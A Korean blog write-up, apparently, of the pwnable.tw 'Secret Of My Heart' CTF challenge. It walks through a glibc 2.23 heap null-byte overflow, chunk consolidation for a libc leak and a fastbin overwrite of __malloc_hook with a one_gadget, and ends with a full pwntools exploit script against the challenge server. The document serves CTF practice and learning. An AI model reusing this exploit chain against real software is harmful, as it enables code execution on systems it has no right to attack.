CIDY
[Pwnable.tw] Secret Of My Heart(Write-up) 본문
점수보다는 솔브 수를 기준으로 문제 선택을 해나가는 중이다. 이거 풀고 3 X 17 풀어야 한다.
풀로 걸려있다. 힙 싫은데 힙일 확률이 상승함.
glibc는 2.23이다. 에휴
init함수에서 mmap함.
메뉴다.
add함수이다. 0부터 99까지는 괜찮은데 넘어서면 full이라고 함. 보아하니 bss에 ptr을 저장하는 모양인데, 앞에서부터 비어있는 순으로 내어주는듯. 아 자세히 보니 bss에는 mmap주소만 저장하고 mmap한곳에 싹다 저장하는거구나
암튼 별일없으면 size of heart받고, (read_input은 int인데 input은 long임ㄷㄷ) 그게 0x100넘으면 안됨. 만약 read_input에 음수를 줘도 input이 unsigned라서 저 검사에 걸릴듯.
202018부터 48(0x30)단위로 관리되는 것 같은데, 이 구조를 잘 그려야 할듯.
[ size ] [ name ]
[ name ] [ name ]
[ name ] [ heart ptr ]
위 단위로 반복되는데, 내가 입력한 size만큼 malloc해서 그걸 [5]에 넣음. 그리고 [1]부터 32만큼 read함. 여기서 뭐가 딱히 넘치지는 않는듯?
그리고 heart ptr에 secret of my heart라고 read_data함. 근데 *result를 왜 0으로 만드냐..? 만약에 0x28같은거 할당하고, 0x28꽉 채워버리면 malloc사이즈 부분이 망하지 않나?
해봐야할듯..
show함수이다. 0x63 == 99임. heart ptr을 만들었을 경우 해당 idx를 볼 수 있는듯.
index는 입력받은 v1그대로 보여주고
size는 ptr[0]보여줌.
name보여주는데 여기서 힙 영역 주소 필요할 경우 릭할 수 있을것같고 mmap이용하면 libc leak도 되려나 싶은데 내가 직접 큰 사이즈를 할당할수는 없고, 앞에서 할당한 mmap이 있으니 나중에 잘 살펴보자..
secret메시지도..[5]에 %s해서 보여줌
역시 idx입력받고..99넘어가는지 검사하고..[5]에 값 있는지 검사하고..
ptr의 첫 부분을 0으로 만들고, 32memset (name부분) 밀어버리고, [5]를 free시키고 그 자리를 0으로 만든다.
근데 숨겨진 메뉴가 있다. 0x1305메뉴인데, mmap한곳 주소를 보여줌. 근데 바로 exit하는게 문제임.
저 mmap %p로 주소 릭할수 있을 줄 알았는데 뭐 되도않는 곳에 매핑돼있냐;; 2.23특인가. 암튼 저렇게 돼 있으면 엑싯이 없더라도 립씨랑은 한참 떨어져있어서 별 쓸모없을듯..
저게 freed처럼 보이지만 사실 freed가 아니다. 플래그 망가져서 그런듯ㅋㅋ 암튼 꽉 채우면 물리적 다음 청크의 사이즈를 망가뜨릴 수 있는 것은 맞음.
A할당 -> B할당 -> A해제 -> A와 동일 사이즈로 A`할당
이렇게 하면 A -> (사이즈 망가진)B 이렇게 만들 수 있다. 이 상태에서는 A를 해제하든 B를 해제하든 터짐. 사이즈를 조작할 수 있는 것도 아니고 널로 덮을 수 있단거 하나만으로 익스를 하라하네.. 사실 저게 좀 치명적이기는 함.
일단 show함수는 릭을 하라고 존재하는 게 맞다. 근데 끝에 무조건 널바이트가 들어가는데 어떻게 릭을 하지? 그러려면 내 생각에 두 청크를 병합한 다음, 할당해오면서 내 입력을 보내면서 split시키는데, 이 때 내 입력을 준 쪽이 아닌 다른 한 쪽의 위치를 잘 맞춰서 그쪽을 출력할 수 있도록 하면 된다.
상세 계획을 세워보자. 병합해서 fastbin을 초과하는 사이즈를 만들었을 경우 분할은 자동적으로 할 수 있다. 그럼 어떻게 병합을 하느냐가 중요한데... 만약 0xb0사이즈를 넘어가는 청크가 있을 경우 자동적으로 병합되려고 할 것이다. 이때 prev_size에 있는 사이즈가 병합 범위에 있으면 그 사이즈만큼 청크를 인식하고, 병합 대상일 경우 병합할 것이다.(아마도?) 여기서 메모리 커럽션만 안 일어나게 청크 사이즈들을 잘 맞춰주면서 진행해보자.
그리고 여기서 주의할 점은 병합을 위해 다음 청크의 prev_inuse플래그를 꺼 줘야 한다는 것이다. 여기서 null bytes poisoning을 이용할 수 있다. 그런데 한 가지 삽질했던게, 일단 첫 번째로 0x90이 fastbin이 아닌 unsorted bin에 들어간다는 점이다. 그리고 unsorted-unsorted가 되면 병합되니까 안 되는 건 알았는데, fastbin-fastbin이 병합 안된다는건 미처 생각을 못 했다; fastbin은 병합 대상이 아니기 때문에 맨 앞에 unsorted하나 끼고 0x100처럼 사이즈 인식하도록 해서 fastbin까지 한번에 병합시켜버리면 된다. 여기서 fastbin은 null poisoning에 사용하기 위해 할당한 상태로 해제된 청크 중간에 끼어있는 상태이다. 따라서 병합된 전체 청크를 할당해오면서 분할시켜주면 되는데, 이 때 아까 앞쪽 unsorted bin사이즈에 맞춰서 할당해오면 fastbin이었던 청크에 fd와 bk가 적힌다. 여기서 해당 fastbin의 idx를 show해서 릭할 수 있다.
그럼 이제 최종 익스를 할 차례다. 준비물로는 해제된 청크가 필요하다. fd를 조작하기 위해서는 overlap이 필수일 것 같다. 현재 0번 idx의 주소가 중간에 끼어 있는 상태이므로(0x78할당했던거,, 0x80) 그걸 오버랩으로 활용할 수 있다고 생각했다.
위 사진과 같이 1번 해제 후 add해주면서 0번의 fd와 bk를 지우고(사실 이건 필요없는 과정인데 미관을 위해 지워줬다.) 헤더 정보를 수정해서(헤더 정보는 수정하지 않으면 현재 bin에 들어있지는 않지만 뭐가 안 맞아서 delete할 수 없는 상황이었다.) 다시 delete될 수 있도록 했다. 그런 다음 0번을 한번 더 지우고, 1번도 지운 다음, 1번이었던 친구를 0번으로 재할당해오면서 (마지막 번호 주석이 #1이 아니고 #0이다.) 해제된 청크의 fd에 hook주소를 써줬다.
근데 위와 같이 사이즈 오류가 난다. 이젠 한두 번 겪어본 상황도 아니다.. free hook은 전후로 허허벌판이라 fastbin연결을 이용할거면 malloc으로 원가젯 써야 한다. 오프셋도 외워둠. malloc_hook - 0x23부터 덮으면 된다.
from pwn import *
def add(size, name, secret):
p.sendafter("Your choice :", "1")
p.sendafter("Size of heart : ", str(size))
p.sendafter("Name of heart :", name)
p.sendafter("secret of my heart :", secret)
def show(idx):
p.sendafter("Your choice :", "2")
p.sendafter("Index :", str(idx))
def delete(idx):
p.sendafter("Your choice :", "3")
p.sendafter("Index :", str(idx))
def cheat():
p.sendafter("Your choice :", "4869")
def one_gadget(filename, libc_base):
return[(int(i) + libc_base) for i in subprocess.check_output(["one_gadget", "--raw", filename]).decode().split(" ")]
#p = process("./secret_of_my_heart")
e = ELF("./secret_of_my_heart")
libc = ELF("./libc_64.so.6")
p = remote("chall.pwnable.tw", 10302)
add(0x80, "A", "A") #0
add(0x60, "B", "B") #1
add(0xf0, "C", "C") #2
add(0x60, "D", "D") #3
delete(0)
delete(1)
add(0x68, "B", p64(0) * 12 + p64(0x100)) #0
delete(2) #colsolidate chunks
add(0x80, "A", "A") #1 -> split chunk
show(0)
p.recvuntil("Secret : ")
malloc_hook = u64(p.recvuntil(b"\x7f") + b"\x00\x00") - 88 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info("libc base : " + hex(libc_base))
oneshot = one_gadget(libc.path, libc_base)
target = malloc_hook - 0x23
delete(1)
add(0x100, "A", p64(0) * 17 + p64(0x71) + p64(0) * 2) #1
delete(0)
delete(1)
add(0x100, "A", p64(0) * 17 + p64(0x71) + p64(target)) #0
overwrite = b"A" * 0x13 + p64(oneshot[2])
add(0x60, "A", "A")
add(0x60, "A", overwrite)
delete(2)
p.interactive()
malloc hook을 덮은 다음에는 free에서 오류를 발생시키면 된다.
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable] Socket Programming (0) | 2023.04.05 |
---|---|
[Pwnable.tw] BookWriter(Write-up, 오렌지농장) (0) | 2023.03.03 |
[Pwnable.tw] Starbound(Write-up) (0) | 2023.02.10 |
[Pwnable.tw] De-ASLR(Write-up 작성중) (0) | 2023.02.09 |
[Pwnable] GitHub Security Lab CTF 2: U-Boot Challenge (0) | 2023.02.02 |